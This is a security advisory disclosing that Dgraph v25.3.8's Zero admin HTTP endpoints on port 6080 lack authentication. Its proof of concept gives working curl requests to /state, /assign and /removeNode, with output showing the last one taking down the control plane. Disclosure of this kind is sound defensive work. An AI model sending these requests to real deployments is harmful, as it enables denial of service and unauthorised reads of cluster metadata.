Dgraph: Zero Unauthenticated HTTP Admin removeNode Denial of Service

### Summary Dgraph `v25.3.8` exposes a Zero HTTP administrative surface that is unauthenticated when port `6080` is reachable. The exposed routes include: - `/state` - `/assign` - `/removeNode` - `/moveTablet` An unauthenticated request to `/removeNode?id=1&group=0` on a single-node standalone deployment breaks the Zero control plane and leaves Alpha repeatedly failing to reconnect to `localhost:5080`. ### Details The issue exists because Zero administrative HTTP endpoints are registered directly without any authentication or IP-whitelist wrapper. Relevant code paths: - `worker/server_state.go:41` - `dgraph/cmd/zero/run.go:295-301` - `dgraph/cmd/zero/http.go:106-129` - `dgraph/cmd/zero/zero.go:475-477` The relevant behavior is: - `disable-admin-http=false` by default - `/removeNode` accepts attacker-controlled `id` and `group` - `removeNode` forwards those directly into `Server.RemoveNode` - for `group=0`, `Server.RemoveNode` immediately calls `ProposePeerRemoval` This means a remote unauthenticated caller can directly trigger destructive membership operations if `6080` is exposed. ### PoC ### Read state without authentication ```bash curl -i http://127.0.0.1:6080/state ``` Observed response included: - Zero node `id=1` - `groupId=0` - `leader=true` - cluster topology and tablet state <img width="1878" height="810" alt="图片" src="https://github.com/user-attachments/assets/c6a0001c-bcf7-45b6-a301-481f918be98a" /> ### Write-capable route without authentication ```bash curl -i 'http://127.0.0.1:6080/assign?what=nsids&num=1' ``` Observed response: ```text HTTP/1.1 200 OK ... {"startId":"1", "endId":"1", "readOnly":"0"} ``` This confirms the admin plane is not merely informational. <img width="1877" height="805" alt="图片" src="https://github.com/user-attachments/assets/caf60927-83ba-495d-8c55-e48343b8a2c7" /> ### Destructive unauthenticated removeNode ```bash curl -i 'http://127.0.0.1:6080/removeNode?id=1&group=0' ``` Observed result: ```text curl: (52) Empty reply from server ``` <img width="1877" height="806" alt="图片" src="https://github.com/user-attachments/assets/a837c385-1c2d-42b6-a5c9-0d93a974ff4e" /> Immediately afterward: ```bash curl -i http://127.0.0.1:6080/health ``` Observed result: ```text curl: (56) Recv failure: Connection reset by peer ``` <img width="786" height="47" alt="图片" src="https://github.com/user-attachments/assets/bd5e977d-d046-4626-b3df-155b141564fa" /> Alpha health was still locally reachable, but Alpha logs began repeatedly reporting: ```text dial tcp [::1]:5080: connect: connection refused ``` <img width="1688" height="197" alt="图片" src="https://github.com/user-attachments/assets/8ae3bb84-65bc-4951-ad32-5e1c3231c894" /> This confirms the request reached the destructive path and disrupted the Zero control plane. ### Impact Any deployment that exposes Zero HTTP on `6080` exposes destructive unauthenticated administrative capabilities. An attacker can: - read cluster topology and control-plane metadata - allocate IDs and timestamps - invoke destructive membership actions - disrupt the Zero control plane - indirectly destabilize Alpha nodes that depend on Zero connectivity This is a high-value unauthenticated administrative exposure and, in the reproduced case, a practical denial of service against the control plane.